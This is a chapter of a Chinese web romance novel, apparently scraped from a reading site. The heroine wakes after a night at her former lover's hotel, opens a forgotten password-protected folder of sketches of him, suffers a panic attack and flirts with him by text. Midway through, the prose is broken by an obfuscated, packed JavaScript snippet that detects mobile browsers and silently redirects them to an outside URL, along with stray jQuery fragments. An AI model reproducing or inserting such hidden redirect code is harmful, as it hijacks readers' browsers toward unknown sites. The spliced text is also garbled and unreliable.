34. 第三十四个梦
作品:《恋爱悖论》 桑兮渺第二天醒来发现自己在床上。
她缓了几秒才回忆起睡前的事。
他什么时候把她放到床上的?
她正要起身,看到床头柜上的便签纸。
[早餐在厨房,用微波炉加热即可。我在外办事,如你午后醒来,可等我一起吃饭。]
落款是“Ten”。
字迹行云流水,苍劲有力,和他本人的风格不太符。
像是练过。
难怪他说他的爱好泛而不精。
这样的人反而最难拿捏。
不知道他真正喜欢的是什么,因为他什么都可以尝试,也什么都可以放弃。
桑兮渺又看了一遍。
明明是第一次见他写的字,不知为何,却觉得这幅场景格外熟悉。
她脑中闪过几个类似的片段。
[醒来记得吃早餐,不要空腹画画。晚上回来,想吃什么发给我。]
[快到生理期,切忌生冷食物。锅上煨了五红粥。另,猫我带去复查了。想我给我发消息。]
[见你睡得不踏实,是不是做噩梦了?下次可以再抱我紧一点。早安吻已经奉上。爱你。]
……
梦到过?
他们到同居的地步了吗?
还是,结婚?
桑兮渺有些难以想象她和一个男人有那样深度的羁绊。
她晃了晃脑袋,在便签背后留了句话,离开房间。
盛时下午本还有事,特意打了个转,回了酒店。
床上睡过人的褶皱都消失无踪,如果不是记得她睡在自己怀里的温度和柔软,容易错觉昨夜只是一场梦。
那张便签被压在灯座下,没有被保洁收走。
他取出来。
[谢谢收留,我睡得很好。]
后面跟了个可爱的颜文字表情。
收留?
是指带她回酒店,还是接纳她的投怀送抱?
她不仅是胆子大了,撩拨人的手段也是愈发高了。
盛时蓦地意识到,这几年,他对她的生活一无所知。
不知道她有没有像这样追过别的男人,不知道她是不是也在别的男人身上留下专属标记。
虽然她朋友圈没有蛛丝马迹可循,可如果是桑兮渺的话,也正常。
当初她就从不发他。
想到昨夜她不停地翻动身,窸窸窣窣的,下床钻进他怀里,找到舒适的姿势入眠,心又软了。
不能逼问她。
她一直很敏感,尤其对外界的负面反馈。
苏婧不清楚她如今痊愈与否,但义正辞严地告诫过他,不要伤害她。
当初是她突然甩了他,他才是受害人,不是吗?
现在他却气不起来。
生病纵然无法成为她不明不白断崖式分手的合理理由,他的潜意识却会自发维护她,替她粉饰,原宥她。
这几年,盛时没有刻意地等过她,似乎就只是,遇不到再让他心动的人。
——他原本是这么想的。
得知她飞来魔都的那一刻,他无声叹气。
她怎么还是想一出是一出的。
同时也认输投降。
承认吧,盛时,你就是喜欢她。
门铃响了。
打开门,竟是去而复返的桑兮渺。
她很少穿裙子,因为不如衣裤方便爽利,她挑衣服的标准更偏向于舒适。
此时此刻,她特意换了条短裙,上半身是宽松的米色毛衣套衫,底下配一双长靴,斜挎一只珍珠白小包。
对于她而言,是难得郑重的打扮。
桑兮渺小小地喘着气,像是怕他走了,急匆匆赶来。
她目光滢滢地看他:“饭点了,你说的一起吃饭还作数吗?我请你。”
盛时在心里补上最后一句话——
一直一直,从未变过。
-
暴雨来得快,去得也快。雨云南下,飞机顺利起飞。
如盛时所言,他无须在魔都待太长时间。
但桑兮渺也没后悔,这一趟还是有收获的。
不过前段时间有出版商找来,要为她出个人画集,她没法趁热打铁,天天往盛时面前跑。
出版行业近几年市场萧条,即便是出名画师也未必有机会。她没有签工作室,一直是单打独斗,质量虽高,但产量低,在圈内属于高不成,低不就的水平,有这么个机会找上门,她自然万分认真。
对方要求,除了已经公开的部分画作,还需按照主题风格再加新的。
桑兮渺打开文件夹。
里面有一些她画到一半就搁置的,或者仅仅只有线稿的草稿,想找找有没有能用的。
忽然,她无意间发现一个隐藏文件夹,但上了密码。
她试了下常用密码。
不对。
又试了几种,还是不对。
她束手无策,发消息求助苏婧:你知道这个命名为“不见”的文件夹密码吗?
苏婧:这啥玩意儿?
桑兮渺:我也不记得了,但看文件夹的建立时间,是毕业那会儿。
苏婧沉默了片刻,问:你既然标了“不见”,那就是你不想看的东西,你确定要看吗?
桑兮渺莫名:这样的话,我不是应该删掉吗?
苏婧:可能是你当时舍不得,后来忘了。
桑兮渺:你知道里面是什么?
苏婧:大致猜到了。我建议你别看。
桑兮渺:你越这么说我越好奇,到底是什么呀?
为什么她自己不记得,苏婧却知道?
对面的苏婧叹了口气。
随后,她发来一串数字,让桑兮渺试试。
打开了。
是一些手绘画,有Q版,有速写。
硬要说有什么特别的,那就是,无一例外,都是男人。
男人冷声:“我事先告诉你,我当模特不是无偿的。”
“那你要收多少?”
“哼,你可别想用一个吻就打发我。”
“‘一个’不行,”她一本正经,又亲了一下,“那两个?”
歪了歪头,狡黠地笑,“三个?”
他再绷不住,也笑了。
“他”是梦里的那个男人?
是盛时?
如果是未来发生的事,这些画是怎么回事?
又点开一张。
桑兮渺双眼瞪大。
是原本摆在“Minutes”门口,现在在她家里的那只兔子。
不会错,只是面前这个是没有经过渲染的平面图。
“……我觉得它很像小时候的我,我摔伤了,我妈会一边扶我起来,一边骂我只知道哭。”
桑兮渺呼吸陡然变得急促,一种濒死般的心悸感席卷全身,手心瞬间冒出冷汗。
她起身去拿药,不小心绊到电源线,电脑屏幕瞬间灭了,人也跪倒在地。
她扶着桌沿,拼命地喘气,过了一会儿,症状方慢慢退下去。
整个人像是在大太阳底下跑了八百米,贴身的衣物被汗浸透,因为脱水,浑身无力。
毕业后,因为各种事情,她得了重度焦虑症,偶尔会引起惊恐障碍。
但隔了这么久,她都好端端的,也不用再服药,她以为她早就好了,为什么又犯了?
桑兮渺决定放自己一马,停下工作,洗了个澡,上床休息。
睡不着。
她摸来手机,鬼使神差地点开和盛时的聊天框,发了张表情包过去。
他回得很快。
盛时:?
盛时:今晚当不了你的抱枕。
桑兮渺:。。。
她羞于提那晚的事,转移话题:你在店里吗?
盛时:嗯,客人不多,打算提前打烊。
桑兮渺:难怪你能秒回。
盛时:这跟我忙不忙关系不大。
桑兮渺咬了咬下唇,回:那,是跟聊天的人关系大咯?
盛时:你认为呢?
桑兮渺:我又不是你女朋友,我怎么知道。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427064|168341||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>他逗她玩儿似的,学她说话:我又没女朋友,我怎么知道。
她说:你不是谈过恋爱嘛。
盛时:是谈过,太久了,不记得了。
桑兮渺:那你再谈一个呗。
这句话言下之意不就是,你考虑我一下呗。
没过脑子,直接发出去了。
虽然有点后悔,但也没撤回。
盛时:你追人的风格都是这样硬撩吗?
好像能想象到他“嗤”出声,嘴角噙着一抹笑的样子。
桑兮渺埋了会儿枕头,快喘不过气了才出来,说:没追过,见谅。
对面沉默了。
她小心地问:我的提议,你觉得怎么样?
盛时:不怎么样。
桑兮渺:嗯?
盛时:我不是那么随便的男孩子。
桑兮渺:我也不是那么随便的女孩子。
欸?
好熟悉的对话。
她没仔细想,又说:我是深思熟虑过的,我觉得我该和你谈恋爱。
盛时:“你觉得”?
盛时:“该”?
他气笑了。
这是什么荒诞的言论。
桑兮渺有理有据:我们年龄相仿,都属于自由职业,我不排斥你,你也不反感我,我们很适合谈恋爱。
盛时:你再好好想想吧。
因为客人少,他们需要忙的事也不多。
吴浩东看着盛时一会儿笑得温柔,一会儿气恼,最后变得面无表情,跟见鬼了一样,和连迦咬耳朵:“时哥这是咋了?”
连迦:“你知道你为什么单身吗?”
吴浩东为自己正名:“我谈过女朋友的好不好。”
“嫣嫣一小屁孩都看得出来,就你缺根筋。”
连迦懒得讲他,收拾东西去了。
吴浩东不服气,脑子转了几转,大咧咧地问:“时哥,你谈恋爱啦?跟桑兮渺?”
不知道被哪个字戳到痛处了,盛时冷冷地剜他一眼,浑身散发着不爽的气息。
吴浩东打了个寒噤,闭嘴了。
连迦抚了下额。
这人不仅大脑缺根筋,还缺心眼啊。
-
桑兮渺把自己想得失眠了半宿,后半夜又梦到那个未来男朋友。
她枕着他的大腿,他拿着吹风机给她吹头发。
猫跳到床上,乖巧地伏在她身边。
“今晚真的不留下?”
“嗯,我还要画稿。”
他喟叹:“我老婆这么勤奋,我怕我以后配不上她,只能努力赚钱养家了。”
“盛时,”她突然问,“你是不是想结婚?”
他安静片刻,轻描淡写地笑了笑:“伟人都说了,不以结婚为目的的谈恋爱是耍流氓,我跟你在一起,当然不是玩玩。不过,结婚离我们太远了。”
话虽如此,但她知道,他是想的。
他的字字句句,都是想有个家。
和她。
两个人的,不被彼此家庭阻碍,因爱情而结合的家。
他们都是从小靠稀少得需要竭尽全力去感受的爱而长大的孩子,只是,一个迫切地想要索取绝对的爱,另一个被汹涌的爱意吓得退缩。
眼泪没有征兆地流了下来。
桑兮渺睁开眼,摸到眼角的湿热,发怔。
梦里的细节、对话,她记不大清了,可那种悲伤的感觉仍在身体里绵延,啃骨噬心。
那人是盛时没错。
昨晚,他让她好好想想。
想什么?
想她为什么要和他谈恋爱?
还是,她有没有勇气再和他在一起?
他说过,他认定的人,就不会轻易改变。
他还说,他不是那么随便的人。
等等。
她为什么想的是“再”?
头好痛,胸口也闷闷的,桑兮渺起身,灌了杯水,缓了一会儿,才有重新回到人间的真实感。
她决定去“Minutes”找盛时。